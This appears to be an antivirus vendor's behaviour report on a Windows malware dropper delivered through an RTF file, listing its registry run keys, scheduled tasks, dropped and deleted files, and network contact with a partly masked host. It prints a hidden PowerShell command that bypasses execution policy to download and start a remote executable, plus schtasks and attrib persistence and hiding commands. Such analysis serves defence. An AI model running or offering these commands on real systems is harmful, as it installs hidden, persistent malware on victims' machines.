Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Windows2' = '%APPDATA%\update.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\updates\laabuwalj
- %APPDATA%\microsoft\windows\start menu\programs\startup\windows.lnk
Malicious functions
Downloads and executes
- http://fx##.my.to/tasksmgr.exe as %appdata%\tasksmgr.exe
Injects code into
the following user processes:
- tasksmgr.exe
Modifies file system
Creates the following files
- %TEMP%\abdtfhghgdghghœ.sct
- %APPDATA%\tasksmgr.exe
- %APPDATA%\laabuwalj.exe
- %TEMP%\tmp43b3.tmp
- %TEMP%\tmp4568.tmp
- %TEMP%\tmp46bf.tmp
- <Current directory>\~wrd0000.tmp
- %APPDATA%\microsoft\windows\templates\windows.lnk
- %APPDATA%\update.exe
- %TEMP%\tmp1dfb.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\update.exe
Deletes the following files
- %TEMP%\abdtfhghgdghghœ.sct
- %TEMP%\tmp43b3.tmp
- %TEMP%\tmp46bf.tmp
- %TEMP%\tmp4568.tmp
- %TEMP%\tmp1dfb.tmp
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
Connects to
- 'fx##.my.to':80
UDP
- DNS ASK fx##.my.to
Miscellaneous
Creates and executes the following
- '%APPDATA%\tasksmgr.exe'
- '%APPDATA%\update.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://fx##.my.to/tasksmgr.exe','%APPDATA%\tasksmgr.exe');Start-Process '%APP...' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\LAAbUwaLj" /XML "%TEMP%\tmp43B3.tmp"' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\LAAbUwaLj" /XML "%TEMP%\tmp4568.tmp"' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\LAAbUwaLj" /XML "%TEMP%\tmp46BF.tmp"' (with hidden window)
- '%WINDIR%\syswow64\attrib.exe' +h +r +s "%APPDATA%\update.exe"' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\LAAbUwaLj" /XML "%TEMP%\tmp1DFB.tmp"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\LAAbUwaLj" /XML "%TEMP%\tmp43B3.tmp"
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\LAAbUwaLj" /XML "%TEMP%\tmp4568.tmp"
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\LAAbUwaLj" /XML "%TEMP%\tmp46BF.tmp"
- '%WINDIR%\syswow64\attrib.exe' +h +r +s "%APPDATA%\update.exe"
- '%WINDIR%\syswow64\schtasks.exe' /Create /TN "Updates\LAAbUwaLj" /XML "%TEMP%\tmp1DFB.tmp"
